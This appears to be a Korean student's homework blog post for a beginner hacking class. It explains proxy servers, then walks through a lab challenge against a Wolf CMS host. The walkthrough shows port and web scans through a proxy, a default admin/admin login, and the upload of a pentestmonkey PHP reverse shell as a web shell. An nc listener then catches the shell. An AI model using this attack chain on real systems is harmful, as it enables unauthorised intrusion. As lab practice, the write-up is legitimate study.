[normaltic 비기너 클래스 1기] 2023-08-09 Skill Course 1주차 과제

2023. 8. 22. 18:46normaltic 비기너 클래스 1기/과제

Proxy 서버

 

프록시 서버는 클라이언트에서 서버로 접속 혹은 요청할 때 또는 반대의 경우에 중간에서 대신 전달해 주는 중간자 역할을 하는 서버를 뜻한다. 

 

출처 : https://www.seobility.net/en/wiki/Proxy_Server

 

절차는 다음과 같다.

 

  1. 클라이언트에서 프록시 서버에 요청을 한다.
  2. 프록시 서버는 클라이언트에서 받은 요청을 서버에 요청한다.
  3. 서버는 프록시 서버에서 받은 요청에 대한 응답을 프록시 서버에 전달한다.
  4. 프록시 서버는 서버로부터 전달받은 응답을 클라이언트에게 전달한다.

 

Challenge 문제

 

 

공격 대상의 IP 주소는 10.10.44.181인 것을 확인할 수 있다.

 

 

nmap -sCV 10.10.44.181
nmap -sCV 10.10.44.181 -Pn

 

공격 대상 포트 스캔을 진행했더니 아무런 결과도 나오지 않아서 -Pn 옵션을 사용하였다. 그러자 포트 스캔 결과가 출력되었고 프록시 서버를 사용한다는 것을 확인할 수 있었다.

 

프록시 서버 세팅
공격 대상 IP 접속 화면

 

프록시 설정 후 공격 대상의 IP 주소 입력했더니 성공적으로 접속하였다. 해당 웹페이지에서는 'BLEHHH!!!' 텍스트 말고는 아무런 정보를 획득할 수 없었다.

 

dirb 명령어를 사용한 웹 디렉터리 스캔
nikto 명령어를 사용한 웹 서버 취약점 스캔

 

dirb http://10.10.44.181 -p http://10.10.44.181:3128
nikto -h http://10.10.44.181 -useproxy http://10.10.44.181:3128

 

그래서 dirb 명령어를 사용해서 웹 디렉터리 스캔과 nikto 명령어를 사용해서 웹 서버에 대한 취약점을 스캔하였다. 웹 디렉터리 스캔 결과에 'robots.txt'가 존재하는 걸 확인하고 브라우저에 입력했다.

 

 

웹 디렉터리 스캔에는 스캔 되지 않았던 /wolfcms 디렉터리가 존재하는 걸 확인 후에 브라우저에 입력하였더니 웹 페이지가 존재하는 걸 확인할 수 있었다. 웹 페이지를 살펴보았지만 Wolf CMS의 버전에 대한 정보를 얻지 못하였다.

 

 

searchsploit Wolf CMS > exploit_list
cat exploit_list

 

searchsploit 명령어를 사용해서 Wolf CMS의 모든 버전에 해당하는 취약점을 나열하였다. 공격 대상의 버전에 대한 정보가 없기 때문에 최상단에 Wolf CMS - Arbitrary File Upload / Execution 에 주목하기로 하였다. Arbitrary File Upload는 임의 파일 업로드 취약점으로서 이 취약점을 이용하여 리버스 쉘을 업로드하여 공격 대상의 쉘을 획득할 수 있다. 

 

 

find / -name '38000.txt' 2> /dev/null
cat /usr/share/exploitdb/exploits/php/webapps/38000.txt

 

최상단 라인의 텍스트 파일을 find 명령어로 찾고 cat 명령어를 사용해서 내용을 출력했다.

 

 

텍스트 파일의 내용에서 Wolf CMS 서비스에 임의 파일을 업로드하는 방법을 확인할 수 있었다. B)에 명시된 사이트로 접속 후에 임의의 파일(여기서는 리버스 쉘)을 업로드한다. 그리고 D)에 명시된 경로로 업로드한 파일을 실행할 수 있다고 한다.

 

 

http://10.10.44.181/wolfcms/?/admin/login를 주소창에 입력했더니 로그인 페이지가 나타났다. 밑져야 본전으로 Username : admin, Password : admin을 입력했더니 로그인을 할 수 있었다. 너무 쉽게 들어가지다 보니 비밀번호가 admin이 아니라 다른 비밀번호를 입력해도 들어가지나 테스트해봤더니 접속할 수 없었다. Files 탭에서 파일을 업로드하도록 하자.

 

 

wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O webshell.php

 

wget 명령어를 사용하여 php 리버스 쉘 파일을 'webshell.php' 이름으로 바꾸어 저장하였다.

 

수정전
수정후

 

cp ~/Challenge/webshell.php /home/kali/webshell.php

 

webshell.php 파일의 내용에서 바꿔줘야할 내용들이 존재하는데. 빨간 줄로 밑줄 친 'ip' 라인에는 공격자의 IP 주소를 적어줘야 하고 port에는 열어놓을 port 번호를 적어서 파일을 업로드해야 한다. 수정된 파일을 /home/kali에 'webshell.php'파일로 복사하였다.

 

 

nc -nlvp 7777

 

리버스 쉘 파일을 업로드 후 nc 명령어를 사용하여 7777번 포트를 열어 대기하였다. 그리고  주소창에http://10.10.44.181/wolfcms/public/webshell.php를 입력하여 리버스 쉘 파일을 실행시켰더니 공격 대상의 쉘을 획득할 수 있었다.